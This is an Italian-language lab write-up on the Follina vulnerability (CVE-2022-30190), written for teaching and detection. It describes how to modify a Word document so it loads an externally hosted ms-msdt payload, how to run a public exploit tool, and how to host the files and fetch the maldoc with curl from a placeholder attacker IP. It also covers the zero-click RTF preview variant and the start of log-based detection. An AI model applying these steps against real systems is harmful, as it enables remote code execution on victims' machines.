Exploit educativo per CVE-2022-30190 (Follina) che dimostra l'esecuzione di codice remoto tramite MSDT attraverso documenti Office dannosi, con indicazioni per il rilevamento e la mitigazione.
Microsoft spiega che “esiste una vulnerabilità di esecuzione di codice in remoto quando MSDT viene chiamato utilizzando il protocollo URL da un'applicazione chiamante come Word. Un utente malintenzionato che sfrutta con successo questa vulnerabilità può eseguire codice arbitrario con i privilegi dell'applicazione chiamante. L'attaccante può quindi installare programmi, visualizzare, modificare o eliminare dati, o creare nuovi account nel contesto consentito dai diritti dell'utente”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft afferma che “il Microsoft Support Diagnostic Tool (MSDT) raccoglie informazioni da inviare al supporto Microsoft. Questi analizzeranno quindi queste informazioni e le utilizzeranno per determinare la risoluzione di eventuali problemi che potresti riscontrare sul tuo computer”. Detto questo, è essenzialmente un modo per il supporto Microsoft di vedere immediatamente cosa non va, ricevendo tutte le informazioni necessarie direttamente dalla fonte.
Spiegazione dell'exploit
Iniziamo con una precisazione: per i nostri scopi, carichiamo il nostro payload tramite un documento Word, in particolare nel formato .docx - questo è l'exploit originale scoperto in natura. Tuttavia, è stato dimostrato che questa vulnerabilità funziona in molti altri prodotti Office.
Due aspetti importanti di questa vulnerabilità sono: 1 - specifici file docx contengono riferimenti a oggetti OLE (originariamente acronimo di Object Linking and Embedding), e talvolta assumono la forma di file HTML ospitati altrove. 2 - MS-MSDT consente l'esecuzione di codice.
Combinando i due aspetti sopra, uno schema HTML MS-MSDT può essere utilizzato per eseguire codice PowerShell, e un file docx può essere utilizzato per caricarlo tramite la capacità di riferimento esterno di Word.
Più specificamente, analizzando la struttura del docx, il file "word/_rels/document.xml.rels" contiene un tag XML con un attributo Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" che descrive un riferimento esterno a un oggetto oleObject. Per sfruttare questa funzionalità del docx, possiamo modificare il contenuto di questo tag per puntare invece al payload che stiamo ospitando, cambiando il valore Target in http://<external_payload_server.com>/<payload.html> e il valore TargetMode in "External".
Nel file word/document.xml, c'è un tag XML che inizia con <o:OLEObject...> in cui dovremmo cambiare il valore Type in "Link" e quindi aggiungere l'attributo chiave-valore UpdateMode="OnCall".
L'unica cosa che resta da fare è ospitare il payload a cui il file Word si collegherà e dal quale riceverà istruzioni all'apertura del file. Questo viene fatto creando un file HTML con una struttura simile alla seguente:
Nel contenuto del file HTML sopra, noterai il comando ms-msdt:/id PCWDiagnostic /skip force /param, insieme agli switch di comando che puoi usare per impostare il comando che desideri eseguire sulla macchina di destinazione. Puoi quindi combinare il payload secondo le tue esigenze.
Pertanto, abbiamo ora un modo per ottenere l'esecuzione di codice in remoto senza toccare alcuna macro e, come vedremo in seguito, senza nemmeno aprire il documento maligno.
Focus sull'exploit disponibile pubblicamente (https://github.com/JohnHammond/msdt-follina) John Hammond ha creato uno strumento per automatizzare il processo di creazione di un documento maligno (maldoc) e di conseguenza ospitare il file HTML maligno che contiene il comando dannoso. Lo strumento è documentato al link sopra, e utilizzeremo una versione forkata per comprendere meglio il concetto dell'exploit menzionato in precedenza.
Apri un terminale, clona questo repository e cambia la directory di lavoro in quella in cui è stato clonato il repository msdt-follina. root@host:~/Follina-MSDT# python3 follina.py
All'avvio dell'exploit, dovresti già ospitare il file, quindi è pronto per essere "consegnato" alla macchina vittima. Tenendo aperto il terminale originale, aprine un altro e inserisci il seguente comando per ospitare i file su un server: root@host:~/Follina-MSDT# python -m http.server 3456
Sulla macchina di destinazione, apri un prompt dei comandi e inserisci il seguente comando: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Questo scarica il maldoc sulla nostra macchina e, poco dopo, dovresti vedere il file Word denominato follina.docx apparire sul Desktop, pronto per essere eseguito. Quando sei pronto, apri il file e guarda cosa succede. Per ora, lasciamo in esecuzione il maldoc e tutto ciò che ha generato.
Implementazione "Zero Click"
Per replicare l'implementazione "zero click" di questa vulnerabilità, ci basta andare al file Word maligno, aggiungere un messaggio carino (completamente facoltativo), salvarlo in Rich Text Format (RTF) e siamo pronti. Questa implementazione presuppone che la macchina vittima sia nella visualizzazione del riquadro di anteprima, altrimenti tornerà alla funzionalità originale che verrà comunque eseguita all'apertura del file.
Apri Esplora file e naviga fino alla cartella Desktop. Lì vedrai il file apparentemente innocuo che abbiamo creato e che necessita di clic: cliccalo una volta, facendo attenzione a non aprirlo effettivamente, e osserva cosa succede.
Nonostante il file non sia stato effettivamente aperto, l'exploit è stato eseguito nello stesso modo di prima in questo esercizio. Ciò è accaduto grazie a due caratteristiche chiave: 1 - la funzionalità di Esplora file di visualizzare in anteprima i file prima di aprirli. 2 - l'RTF che consente la funzionalità dei file di documento di essere visualizzati in anteprima in Esplora file prima di essere aperti (tra gli altri scopi).
Combinando le due e abusandone, si ottiene un vettore di attacco che abbiamo appena osservato.
Rilevamento e mitigazione Caccia alle minacce:
La macchina Windows che abbiamo utilizzato per studiare lo sfruttamento della vulnerabilità è stata preconfigurata con la registrazione abilitata per:
Questi meccanismi di auditing non sono configurati per impostazione predefinita, quindi è imperativo attivarli nei propri ambienti per aiutare a rilevare comportamenti sospetti e mantenere dati preziosi disponibili per gli esaminatori forensi.
Durante il processo precedente, abbiamo identificato diverse creazioni di processi interessanti durante lo sfruttamento della vulnerabilità. Queste creazioni di processi vengono registrate nei registri di sicurezza di Windows, pronti per essere analizzati tramite il tuo visualizzatore preferito o inoltrati a un raccoglitore di log centralizzato per essere elaborati e successivamente utilizzati.
Per questo compito utilizzeremo Event Log Viewer for Windows di Nirsoft per controllare le creazioni di processi che abbiamo identificato in precedenza. Cercheremo quindi i dettagli all'interno di queste creazioni di processi che possiamo utilizzare per cercare indizi in altri registri eventi per spiegare meglio cosa è successo dietro le quinte.